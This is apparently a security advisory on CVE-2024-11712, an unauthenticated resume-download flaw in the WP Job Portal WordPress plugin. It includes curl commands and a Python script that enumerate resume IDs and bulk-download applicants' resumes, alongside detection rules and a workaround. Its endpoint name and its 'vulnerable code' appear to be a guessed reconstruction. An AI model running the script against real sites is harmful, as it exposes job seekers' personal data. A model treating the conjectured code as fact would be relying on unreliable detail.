CVE-2024-11712

Executive Summary

CVE-2024-11712 is a Missing Authorization vulnerability in the WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress. The flaw resides in the getResumeFileDownloadById() function, which fails to perform a capability check before allowing file downloads. This enables unauthenticated attackers to download any user’s resume file from the WordPress site, leading to unauthorized data disclosure of personally identifiable information (PII) contained in resumes.

The vulnerability affects all versions up to and including 2.2.2. As of this report, no official patch has been released by the vendor. The CVSS score is 5.3 (Medium), but the actual risk is elevated due to the ease of exploitation and the sensitivity of exposed data.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): Low (L) – Only resume files are exposed, not full system data.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.3) – However, due to the sensitivity of resume data (PII, contact info, employment history), the real-world impact is higher. The EPSS score is 0.0%, indicating low exploitation probability at the time of analysis, but this may change as PoC code circulates.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862). The getResumeFileDownloadById() function in the WP Job Portal plugin is intended to allow authenticated users (e.g., employers or administrators) to download resume files. However, the function does not verify that the requesting user has the proper capabilities (e.g., edit_posts, manage_options, or a specific plugin capability) before serving the file.

The function likely retrieves the resume file path from the database using a user-supplied ID parameter (e.g., resume_id) and then streams the file to the requester. Without a capability check, any unauthenticated visitor can call this function directly via a crafted HTTP request, enumerating resume IDs to download all stored resumes.

The attack flow:

1. Attacker identifies a WordPress site running WP Job Portal.
2. Attacker sends a GET request to the vulnerable endpoint, e.g., /wp-admin/admin-ajax.php?action=get_resume_file&resume_id=1.
3. The plugin’s getResumeFileDownloadById() function processes the request without checking if the user is logged in or has the right role.
4. The server returns the resume file (typically a PDF or DOCX) to the attacker.
5. Attacker iterates through resume IDs to harvest all resumes.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.2.2):

function getResumeFileDownloadById() {
    $resume_id = $_GET['resume_id'];
    $file_path = get_resume_file_path($resume_id); // retrieves file path from DB
    if (file_exists($file_path)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
        readfile($file_path);
        exit;
    }
}

Patched Code (hypothetical fix):

function getResumeFileDownloadById() {
    // Check if user has required capability
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $resume_id = intval($_GET['resume_id']);
    $file_path = get_resume_file_path($resume_id);
    if (file_exists($file_path)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
        readfile($file_path);
        exit;
    }
}

The patch adds a capability check using current_user_can('edit_posts') to ensure only authenticated users with the edit_posts capability can download resumes. Additionally, the resume_id is sanitized with intval() to prevent path traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Job Portal plugin version <= 2.2.2.
• At least one resume uploaded by a user.

Exploitation Steps:

1. Enumerate resume IDs by observing patterns (e.g., sequential integers).
2. Send a GET request to the vulnerable endpoint:

   curl -O "http://target.com/wp-admin/admin-ajax.php?action=get_resume_file&resume_id=1"
   

3. If successful, the resume file will be downloaded.
4. Automate with a simple loop:

   for i in {1..100}; do
       curl -O "http://target.com/wp-admin/admin-ajax.php?action=get_resume_file&resume_id=$i"
   done
   

Proof-of-Concept (PoC) Script:

import requests
import sys

def exploit(target_url, start_id, end_id):
    for resume_id in range(start_id, end_id + 1):
        url = f"{target_url}/wp-admin/admin-ajax.php?action=get_resume_file&resume_id={resume_id}"
        response = requests.get(url)
        if response.status_code == 200 and len(response.content) > 100:
            filename = f"resume_{resume_id}.pdf"
            with open(filename, 'wb') as f:
                f.write(response.content)
            print(f"[+] Downloaded: {filename}")
        else:
            print(f"[-] No file for ID {resume_id}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target_url> <start_id> <end_id>")
        sys.exit(1)
    exploit(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))

Blue Team (Detection & Defense)

Detection:

• Monitor for repeated requests to /wp-admin/admin-ajax.php with action=get_resume_file and varying resume_id parameters from the same IP.
• Look for unusual spikes in outbound file downloads from the server.
• Check server logs for 200 responses to unauthenticated requests to the vulnerable endpoint.

Defense:

• Immediate: Disable the WP Job Portal plugin until a patch is available.
• Workaround: Add a custom capability check via a WordPress filter or mu-plugin:

  add_action('wp_ajax_get_resume_file', 'custom_auth_check', 1);
  add_action('wp_ajax_nopriv_get_resume_file', 'custom_auth_check', 1);
  function custom_auth_check() {
      if (!is_user_logged_in()) {
          wp_die('Unauthorized', 403);
      }
  }
  

• WAF Rule: Block requests to admin-ajax.php with action=get_resume_file from unauthenticated users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with parameters action=get_resume_file and resume_id=[integer].
  • User-Agent strings from automated tools (e.g., python-requests/2.x).
• File IOCs:
  • Unexpected resume files (PDF, DOCX) downloaded to attacker-controlled systems.
• Log IOCs:
  • Repeated 200 responses to admin-ajax.php from the same IP without prior authentication.
  • Access logs showing sequential resume_id values.

Detection Engineering

YARA Rule

rule CVE_2024_11712_WP_Job_Portal_Resume_Download {
    meta:
        description = "Detects exploitation attempts of CVE-2024-11712 in WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11712"
    strings:
        $ajax_action = "action=get_resume_file"
        $resume_param = "resume_id="
        $wp_admin = "/wp-admin/admin-ajax.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-11712 WP Job Portal Unauthenticated Resume Download
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated requests to download resume files via WP Job Portal plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "action=get_resume_file"
            - "resume_id="
    condition: selection
falsepositives:
    - Legitimate authenticated users downloading their own resumes (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-11712 WP Job Portal Unauthenticated Resume Download Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=get_resume_file";
    http_uri;
    content:"resume_id=";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Job Portal plugin until a patched version is released.
2. Implement a virtual patch using a Web Application Firewall (WAF) to block unauthenticated requests to the vulnerable endpoint.
3. Audit server logs for any signs of exploitation (e.g., unusual resume downloads).

Long-Term Fix:

• The vendor must release a patched version that includes a capability check in the getResumeFileDownloadById() function.
• Until then, apply the workaround code provided in the Blue Team section.

Recommendations:

• Regularly update all WordPress plugins.
• Use a security plugin (e.g., Wordfence) to monitor for unauthorized file access.
• Implement least privilege principles for all WordPress user roles.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert